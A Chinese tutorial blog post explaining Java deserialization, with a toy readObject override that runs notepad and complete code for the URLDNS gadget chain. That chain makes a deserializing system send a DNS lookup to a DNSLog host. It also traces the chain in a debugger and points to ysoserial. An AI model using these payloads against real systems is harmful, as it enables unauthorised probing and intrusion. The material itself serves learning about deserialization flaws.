> 文章列表 > java反序列化 URLDNS链分析

java反序列化 URLDNS链分析

java反序列化 URLDNS链分析

前言

终于可算是来到java反序列化,在菠萝师傅的一番提醒,我认识到自己不能继续在简单的游荡了,要来到难的地方了。

也庆祝自己终于拥有了勇气。

分析

基础

我相对喜欢先代码在讲原理,这里不怎么了解序列化可以去复习一下javase

可以在这里B站复习一下

序列化流(3集)

反射(5集)

大家有没有想过一个问题,关于游戏的存档问题,他是储存在那里的呢,我感觉他可能就是像这样将数据加密一下,放到一个文件里面,然后启动的时候读取这个文件,所以像那些单机游戏破解器,是不是这样的,存储的值。

这里我们下面看一个基本不可能发生的反序列化例子。

//Asuread.javaimport java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class Asuread implements Serializable {private String name;private int age;public Asuread() {}public Asuread(String name, int age) {this.name = name;this.age = age;}private void readObject(ObjectInputStream os) throws IOException, ClassNotFoundException {os.defaultReadObject();Runtime.getRuntime().exec("notepad");}
}
//Stest.javaimport java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;public class Stest {public static void main(String[] args) throws IOException {Asuread asu = new Asuread("aa",1);Serialize(asu);}public static void Serialize(Object obj) throws IOException, IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);out.close();}
}
//UStest.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;public class UStest {public static void main(String[] args) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));Asuread asu = (Asuread) out.readObject();System.out.println(asu);}
}

上面我们可以看到在Asuread这个类中我们是重写了一个readObject方法,让他去打开一个记事本。

首先我们知道我们序列化需要使用writeObject,反序列化的时候会使用readObject这个方法,所以如果我们重写readObject方法,不是他就会执行那个方法。

可以看到在我们执行以后他是弹出来一个记事本的。

 

 URLDNS链

java环境:java8

注:经过尝试java17会报错

这个链子是我们入门的链子,为我们接下来的cc打好基础,甚至他本身也就是一个检测是否存在反序列化漏洞的一个存在。

这里先放代码,接收的网站我们可以在DNSLog Platform生成一个或者可以选择burp生成接受,这里为了方便就使用网站了。

//Serial.java
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Serial implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {// 创建一个 HashMap 对象,用于存储 URL 对象及其对应的整数值HashMap<URL, Integer> hash = new HashMap<>();// 创建一个 URL 对象URL url = new URL("http://yuyp63.dnslog.cn");// 先获取字节码文件, 然后获取 URL 类的 hashCode 字段Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");//临时修改构造方法的访问权限,让我们可以修改值hashCode.setAccessible(true);// 改变 URL 对象的 hashCode 值为 21,并将其添加到 HashMap 对象中hashCode.set(url, 21);hash.put(url, 1);// 再次改变 URL 对象的 hashCode 值为 -1hashCode.set(url, -1);// 创建一个 ObjectOutputStream 对象,并指定输出流的目标文件ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./1.bin")));// 将 HashMap 对象写入到输出流中out.writeObject(hash);// 关闭输出流out.close();}
}
//Unserial.javaimport java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;public class Unserial {public static void main(String[] args) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));out.readObject();}
}

 我们执行一下,这里在网站Refresh Record两下可以看到马上就接受到了

URLDNS分析

终于是来到我喜欢的分析环节了。

说先说明我们为什么要选择HashMap,因为HashMap为了保证键的唯一,所以可以是任何属性的值,给我们操作的空间。

这里推荐一个东西,可以帮助我们快速找到我们要的方法或者值。

 这里我们就可以看到在旁边,可以看到类的方法,帮助我们快速跟进

 

链子分析

这里我们先看HashMap,从HashMap的readObject开始跟进,因为反序列化的时候,肯定会触发他的readObject方法的。

这里我们可以看到他又对键值进行了一次方法,估计是为让键值唯一的方法,这里我们跟进去看看。

        这里我们可以看到他是使用一个三元运算符,只要不是null,就是触发key的hashCode方法,要注意这里我们的键值传进去的是一个URL类的对象

        所以这里相当于在触发URL对象.hashCode()方法,所以这里我们放弃跟进HashCode类,去看看URL类中的hashCode方法

这里我们看到URL类中的hachCode方法

这里我们分析一下如果hashCode等于-1,就会进入handler.hashCode,然后触发DNS请求,如果我们值不等于-1,就是直接返回值。

但是我们发现hachCode的默认值就是-1,还是用private定义的

 

这个跟进这个方法进去看看。

 

继续跟进

 

这里我们看到这里,如果 host 参数是一个主机名,那么 getByName 方法会向 DNS 服务器发起一次 DNS 查询请求

疑惑代码分析

接下来我们结合代码和上面一起分析。

首先是这里,你会发现我们利用反射强制修改了,URL的hachCode的值,在put以后再还原成-1,这是为什么呢。

 这里我们跟进HachMap的put方法,这里看到这里也是进行了一次hash方法,进去看看是不是一样的

好的,一样的,所以我们在正常put的时候就已经触发了一次DNS请求了,这会影响我们的正常判断,但是通过上面,我们知道只要URL的hachCode值不为-1就可以直接返回值,不触发到DNS请求那里。

这里我们可以进行断点调试分析

这里我将断点设置在这里

这里我们可以看到,在执行到下面的字节码文件是,这时候URL的hashCode的值是默认的-1

执行到这里的时候,我们可以看到,他是获得到了URL的hachCode的值

 

这里我们看到在set以后,URL的hachCode的值已经被修改成了21,那么下面HachMap对象进行put的时候,就不会触发DNS请求了

在经历一次set以后,我们可以发现hachCode的值就变回-1了

 

工具推荐

没有之一的工具

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

里面有很多链子给我们利用,但是说工具不是最重要的,关键是要自己理解了